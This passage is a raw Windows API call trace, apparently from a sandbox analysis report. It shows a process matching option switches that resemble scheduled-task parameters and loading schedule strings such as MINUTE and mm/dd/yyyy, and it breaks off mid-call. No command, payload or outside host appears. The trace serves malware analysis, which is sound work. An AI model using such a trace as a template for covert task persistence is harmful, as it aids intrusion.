(lpString="s") returned 1 [0119.821] lstrlenW (lpString="s") returned 1 [0119.821] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.821] lstrlenW (lpString="f") returned 1 [0119.822] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.822] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|s|") returned 3 [0119.822] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.822] lstrlenW (lpString="|s|") returned 3 [0119.822] lstrlenW (lpString="|f|") returned 3 [0119.822] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0119.822] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.822] lstrlenW (lpString="u") returned 1 [0119.822] lstrlenW (lpString="u") returned 1 [0119.822] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.822] lstrlenW (lpString="f") returned 1 [0119.822] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.822] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|u|") returned 3 [0119.822] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.822] lstrlenW (lpString="|u|") returned 3 [0119.822] lstrlenW (lpString="|f|") returned 3 [0119.822] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0119.822] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.822] lstrlenW (lpString="p") returned 1 [0119.822] lstrlenW (lpString="p") returned 1 [0119.822] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.822] lstrlenW (lpString="f") returned 1 [0119.822] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.822] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|p|") returned 3 [0119.823] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.823] lstrlenW (lpString="|p|") returned 3 [0119.823] lstrlenW (lpString="|f|") returned 3 [0119.823] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0119.823] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.823] lstrlenW (lpString="ru") returned 2 [0119.823] lstrlenW (lpString="ru") returned 2 [0119.823] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.823] lstrlenW (lpString="f") returned 1 [0119.823] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.823] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ru|") returned 4 [0119.823] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.823] lstrlenW (lpString="|ru|") returned 4 [0119.823] lstrlenW (lpString="|f|") returned 3 [0119.823] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0119.823] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.823] lstrlenW (lpString="rp") returned 2 [0119.823] lstrlenW (lpString="rp") returned 2 [0119.823] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.823] lstrlenW (lpString="f") returned 1 [0119.823] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.823] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|rp|") returned 4 [0119.823] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.823] lstrlenW (lpString="|rp|") returned 4 [0119.823] lstrlenW (lpString="|f|") returned 3 [0119.824] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0119.824] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.824] lstrlenW (lpString="sc") returned 2 [0119.824] lstrlenW (lpString="sc") returned 2 [0119.824] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.824] lstrlenW (lpString="f") returned 1 [0119.824] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.824] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sc|") returned 4 [0119.824] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.824] lstrlenW (lpString="|sc|") returned 4 [0119.824] lstrlenW (lpString="|f|") returned 3 [0119.824] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0119.824] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.824] lstrlenW (lpString="mo") returned 2 [0119.824] lstrlenW (lpString="mo") returned 2 [0119.824] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.824] lstrlenW (lpString="f") returned 1 [0119.824] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.824] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|mo|") returned 4 [0119.824] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.824] lstrlenW (lpString="|mo|") returned 4 [0119.824] lstrlenW (lpString="|f|") returned 3 [0119.824] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0119.825] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.825] lstrlenW (lpString="d") returned 1 [0119.825] lstrlenW (lpString="d") returned 1 [0119.825] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.825] lstrlenW (lpString="f") returned 1 [0119.825] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.825] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|d|") returned 3 [0119.825] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.825] lstrlenW (lpString="|d|") returned 3 [0119.825] lstrlenW (lpString="|f|") returned 3 [0119.825] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0119.825] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.825] lstrlenW (lpString="m") returned 1 [0119.825] lstrlenW (lpString="m") returned 1 [0119.825] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.825] lstrlenW (lpString="f") returned 1 [0119.825] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.825] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|m|") returned 3 [0119.825] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.825] lstrlenW (lpString="|m|") returned 3 [0119.825] lstrlenW (lpString="|f|") returned 3 [0119.825] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0119.825] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.825] lstrlenW (lpString="i") returned 1 [0119.825] lstrlenW (lpString="i") returned 1 [0119.826] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.826] lstrlenW (lpString="f") returned 1 [0119.826] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.826] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|i|") returned 3 [0119.826] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.826] lstrlenW (lpString="|i|") returned 3 [0119.826] lstrlenW (lpString="|f|") returned 3 [0119.826] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0119.826] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.826] lstrlenW (lpString="tn") returned 2 [0119.826] lstrlenW (lpString="tn") returned 2 [0119.826] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.826] lstrlenW (lpString="f") returned 1 [0119.826] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.826] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tn|") returned 4 [0119.826] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.826] lstrlenW (lpString="|tn|") returned 4 [0119.826] lstrlenW (lpString="|f|") returned 3 [0119.826] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0119.826] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.826] lstrlenW (lpString="tr") returned 2 [0119.826] lstrlenW (lpString="tr") returned 2 [0119.826] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.826] lstrlenW (lpString="f") returned 1 [0119.826] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.827] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|tr|") returned 4 [0119.827] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.827] lstrlenW (lpString="|tr|") returned 4 [0119.827] lstrlenW (lpString="|f|") returned 3 [0119.827] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0119.827] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.827] lstrlenW (lpString="st") returned 2 [0119.827] lstrlenW (lpString="st") returned 2 [0119.827] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.827] lstrlenW (lpString="f") returned 1 [0119.827] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.827] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|st|") returned 4 [0119.827] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.827] lstrlenW (lpString="|st|") returned 4 [0119.827] lstrlenW (lpString="|f|") returned 3 [0119.827] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0119.827] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.827] lstrlenW (lpString="sd") returned 2 [0119.827] lstrlenW (lpString="sd") returned 2 [0119.827] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.827] lstrlenW (lpString="f") returned 1 [0119.827] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.827] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|sd|") returned 4 [0119.827] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.828] lstrlenW (lpString="|sd|") returned 4 [0119.828] lstrlenW (lpString="|f|") returned 3 [0119.828] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0119.828] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.828] lstrlenW (lpString="ed") returned 2 [0119.828] lstrlenW (lpString="ed") returned 2 [0119.828] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.828] lstrlenW (lpString="f") returned 1 [0119.828] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.828] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ed|") returned 4 [0119.828] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.828] lstrlenW (lpString="|ed|") returned 4 [0119.828] lstrlenW (lpString="|f|") returned 3 [0119.828] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0119.828] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.828] lstrlenW (lpString="it") returned 2 [0119.828] lstrlenW (lpString="it") returned 2 [0119.828] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.828] lstrlenW (lpString="f") returned 1 [0119.828] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.828] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|it|") returned 4 [0119.828] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.828] lstrlenW (lpString="|it|") returned 4 [0119.828] lstrlenW (lpString="|f|") returned 3 [0119.828] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0119.829] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.829] lstrlenW (lpString="et") returned 2 [0119.829] lstrlenW (lpString="et") returned 2 [0119.829] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.829] lstrlenW (lpString="f") returned 1 [0119.829] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.829] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|et|") returned 4 [0119.829] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.829] lstrlenW (lpString="|et|") returned 4 [0119.829] lstrlenW (lpString="|f|") returned 3 [0119.829] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0119.829] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.829] lstrlenW (lpString="k") returned 1 [0119.829] lstrlenW (lpString="k") returned 1 [0119.829] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.829] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.829] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|k|") returned 3 [0119.829] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.829] lstrlenW (lpString="|k|") returned 3 [0119.829] lstrlenW (lpString="|f|") returned 3 [0119.829] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0119.829] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.829] lstrlenW (lpString="du") returned 2 [0119.829] lstrlenW (lpString="du") returned 2 [0119.829] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.830] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.830] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|du|") returned 4 [0119.830] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.830] lstrlenW (lpString="|du|") returned 4 [0119.830] lstrlenW (lpString="|f|") returned 3 [0119.830] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0119.830] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.830] lstrlenW (lpString="ri") returned 2 [0119.830] lstrlenW (lpString="ri") returned 2 [0119.830] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.830] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.830] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|ri|") returned 4 [0119.830] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.830] lstrlenW (lpString="|ri|") returned 4 [0119.830] lstrlenW (lpString="|f|") returned 3 [0119.830] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0119.830] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.830] lstrlenW (lpString="z") returned 1 [0119.830] lstrlenW (lpString="z") returned 1 [0119.830] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.830] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.830] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|z|") returned 3 [0119.830] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.830] lstrlenW (lpString="|z|") returned 3 [0119.830] lstrlenW (lpString="|f|") returned 3 [0119.830] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0119.830] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.831] lstrlenW (lpString="f") returned 1 [0119.831] lstrlenW (lpString="f") returned 1 [0119.831] _memicmp (_Buf1=0x160526b3f20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.831] _memicmp (_Buf1=0x160526b3f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.831] _vsnwprintf (in: _Buffer=0x160526b4290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.831] _vsnwprintf (in: _Buffer=0x160526b3f80, _BufferCount=0x4, _Format="|%s|", _ArgList=0x342227c5b8 | out: _Buffer="|f|") returned 3 [0119.831] lstrlenW (lpString="|f|") returned 3 [0119.831] lstrlenW (lpString="|f|") returned 3 [0119.831] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0119.831] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.831] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.831] GetProcessHeap () returned 0x160526b0000 [0119.831] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb620 [0119.831] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.831] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0119.831] lstrlenW (lpString="MINUTE") returned 6 [0119.831] GetProcessHeap () returned 0x160526b0000 [0119.831] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526ba970 [0119.831] GetThreadLocale () returned 0x409 [0119.831] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0119.832] RtlRestoreLastWin32Error () returned 0x342209d000 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.832] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x1fc) returned 0x160526bacb0 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.832] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb9e0 [0119.832] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.832] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0119.832] lstrlenW (lpString="First") returned 5 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.832] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xc) returned 0x160526baad0 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.832] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb590 [0119.832] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.832] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0119.832] lstrlenW (lpString="Second") returned 6 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.832] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526ba990 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.832] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb7d0 [0119.832] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.832] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0119.832] lstrlenW (lpString="Third") returned 5 [0119.832] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xc) returned 0x160526baaf0 [0119.833] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb650 [0119.833] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.833] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0119.833] lstrlenW (lpString="Fourth") returned 6 [0119.833] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526bab10 [0119.833] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb500 [0119.833] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.833] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0119.833] lstrlenW (lpString="Last") returned 4 [0119.833] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xa) returned 0x160526bab70 [0119.833] lstrlenW (lpString="9") returned 1 [0119.833] _wtol (_String="9") returned 9 [0119.833] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x20) returned 0x160526bb8f0 [0119.833] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.833] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0119.833] lstrlenW (lpString="First") returned 5 [0119.833] GetProcessHeap () returned 0x160526b0000 [0119.833] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xc) returned 0x160526baa30 [0119.834] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.834] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0119.834] lstrlenW (lpString="Second") returned 6 [0119.834] GetProcessHeap () returned 0x160526b0000 [0119.834] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0xe) returned 0x160526babb0 [0119.834] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.834] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0119.834] lstrlenW (lpString="Third") returned 5 [0119.834] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.834] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0119.834] lstrlenW (lpString="Fourth") returned 6 [0119.834] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.834] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0119.834] lstrlenW (lpString="Last") returned 4 [0119.834] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x342227c410, cchData=128 | out: lpLCData="0") returned 2 [0119.834] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.835] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0119.835] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526baad0) returned 1 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526baad0) returned 0xc [0119.835] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526baad0) returned 1 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x16) returned 0x160526ba9b0 [0119.835] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x342227c430, cchData=128 | out: lpLCData="0") returned 2 [0119.835] _memicmp (_Buf1=0x160526b4840, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0119.835] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x160526bbb70, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0119.835] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] HeapValidate (hHeap=0x160526b0000, dwFlags=0x0, lpMem=0x160526ba990) returned 1 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] RtlSizeHeap (HeapHandle=0x160526b0000, Flags=0x0, MemoryPointer=0x160526ba990) returned 0xe [0119.835] RtlFreeHeap (HeapHandle=0x160526b0000, Flags=0x0, BaseAddress=0x160526ba990) returned 1 [0119.835] GetProcessHeap () returned 0x160526b0000 [0119.835] RtlAllocateHeap (HeapHandle=0x160526b0000, Flags=0xc, Size=0x16) returned 0x160526babd0 [0119.835] GetLocalTime (in: lpSystemTime=0x342227c668 | out: lpSystemTime=0x342227c668*(wYear=0x7e7, wMonth=0x9, 